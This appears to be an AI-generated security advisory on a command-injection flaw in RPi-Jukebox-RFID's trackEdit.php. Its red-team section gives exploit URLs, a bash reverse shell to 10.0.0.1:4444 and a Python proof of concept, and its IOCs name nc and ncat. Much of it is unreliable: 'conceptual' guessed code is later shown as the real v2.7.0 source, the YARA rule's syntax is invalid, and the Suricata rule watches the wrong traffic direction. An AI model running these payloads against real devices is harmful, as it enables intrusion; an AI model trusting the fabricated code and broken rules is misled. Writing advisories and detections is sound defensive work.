CVE-2024-41364

Executive Summary

CVE-2024-41364 is a critical Remote Code Execution (RCE) vulnerability discovered in RPi-Jukebox-RFID v2.7.0, a popular open-source jukebox software for Raspberry Pi. The flaw resides in the htdocs/trackEdit.php script, which fails to properly sanitize user-supplied input before passing it to a system command. An unauthenticated attacker can exploit this to execute arbitrary commands on the underlying operating system, leading to full compromise of the device.

This vulnerability is particularly dangerous because RPi-Jukebox-RFID is often deployed on home networks and in public-facing kiosks, and the vendor has not released a patch. The EPSS score is 0.0% due to low exploit maturity, but the technical simplicity of the attack makes it a high-priority target for threat actors.

Supply Chain & Package Security

RPi-Jukebox-RFID is a PHP-based application. The vulnerable component is a first-party PHP script (trackEdit.php). No third-party package or dependency is directly implicated, but the application's reliance on exec() and system() functions in PHP increases the attack surface. Users should audit all custom PHP scripts for similar injection points.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – full file read possible.
• Integrity (I): High (H) – full file write/execute possible.
• Availability (A): High (H) – can crash or disrupt the service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated RCE, and the software is often exposed on local networks or the internet.

Deep Dive & Mechanics

The vulnerability exists in htdocs/trackEdit.php. This script is used to edit track metadata (e.g., title, artist, album). The flaw is in how the script handles the id parameter. Instead of using prepared statements or parameterized queries, the script directly concatenates the user-supplied id into a shell command, likely via PHP's exec(), system(), or shell_exec() functions.

Root Cause: Lack of input validation and sanitization. The id parameter is passed directly to a system command without escaping or filtering.

Attack Vector: An attacker sends a crafted HTTP GET request to the vulnerable endpoint, injecting shell metacharacters (e.g., ;, |, &&) into the id parameter.

Example vulnerable code snippet (conceptual):

$id = $_GET['id'];
$cmd = "some_command --id " . $id;
exec($cmd, $output);

Exploitation: By sending a request like:

GET /htdocs/trackEdit.php?id=1;id

The server executes some_command --id 1;id, which runs the id command after the intended command, revealing the current user context.

Vulnerable vs. Patched Code

Vulnerable Code (v2.7.0):

<?php
$id = $_GET['id'];
$cmd = "sqlite3 /var/lib/rfid.db \"SELECT * FROM tracks WHERE id=$id\"";
exec($cmd, $output);
echo implode("\n", $output);
?>

Patched Code (hypothetical):

<?php
$id = intval($_GET['id']); // Cast to integer
$cmd = "sqlite3 /var/lib/rfid.db \"SELECT * FROM tracks WHERE id=$id\"";
exec($cmd, $output);
echo implode("\n", $output);
?>

Note: The vendor has not released an official patch. The above is a recommended fix. A more robust solution would use PHP's escapeshellarg() or switch to a database library with prepared statements.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running RPi-Jukebox-RFID v2.7.0.
• Network access to the web interface (default port 80).

Exploit Steps:

1. Identify the vulnerable endpoint: http://<target>/htdocs/trackEdit.php
2. Inject a command using the id parameter:

   http://<target>/htdocs/trackEdit.php?id=1;id
   

3. Observe the output of the id command in the response.
4. For a reverse shell, use:

   http://<target>/htdocs/trackEdit.php?id=1;bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
   

   (URL-encode as needed)

Proof-of-Concept (Python):

import requests

target = "http://192.168.1.100"
payload = "1;id"
url = f"{target}/htdocs/trackEdit.php?id={payload}"
response = requests.get(url)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /htdocs/trackEdit.php with suspicious characters (;, |, &, $, `).
• Alert on any exec() or system() calls from PHP that contain user input.

Hunting:

• Search for trackEdit.php in web logs and look for non-numeric id values.
• Use the Sigma rule below to detect exploitation attempts.

Mitigation:

• Immediately restrict access to trackEdit.php via .htaccess or firewall rules.
• Apply input validation (cast to integer) as a temporary fix.
• Monitor for outbound connections from the Raspberry Pi (potential reverse shells).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /htdocs/trackEdit.php with id parameter containing shell metacharacters.
• Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
• Unusual DNS queries from the Raspberry Pi.

File IOCs:

• Modified trackEdit.php file (if attacker overwrites it).
• Presence of web shells in /var/www/html/ or /var/www/.
• New cron jobs or systemd services.

Process IOCs:

• bash or sh processes spawned by apache2 or php-fpm.
• nc, ncat, or python processes with suspicious arguments.

Detection Engineering

YARA Rule

rule CVE_2024_41364_RCE_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-41364 in RPi-Jukebox-RFID"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-41364"
    strings:
        $s1 = "trackEdit.php" nocase
        $s2 = "id=" nocase
        $s3 = ";" or "|" or "&" or "$" or "`"
    condition:
        $s1 and $s2 and #s3 > 0
}

Sigma Rule

title: CVE-2024-41364 RCE Attempt via trackEdit.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to trackEdit.php with shell metacharacters in the id parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/htdocs/trackEdit.php'
        cs-uri-query|contains:
            - 'id=*;*'
            - 'id=*|*'
            - 'id=*&*'
            - 'id=*$*'
            - 'id=*`*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in track IDs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-41364 RCE Attempt via trackEdit.php";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/htdocs/trackEdit.php"; http_uri;
    content:"id="; http_uri;
    pcre:"/id=[^&]*[;|&$`]/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Disconnect the Raspberry Pi from the internet and untrusted networks.
2. Restrict access: Use .htaccess to limit access to trackEdit.php to trusted IPs only.
3. Apply input validation: Edit trackEdit.php to cast the id parameter to an integer:

   $id = intval($_GET['id']);
   

4. Disable dangerous PHP functions: In php.ini, disable exec, system, shell_exec, passthru, and popen if not needed.

Long-term Fix:

• Monitor the vendor's repository for an official patch.
• Consider migrating to a more secure alternative or forking the project to apply security fixes.
• Implement a Web Application Firewall (WAF) to block malicious requests.

Valters IT Signature:

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.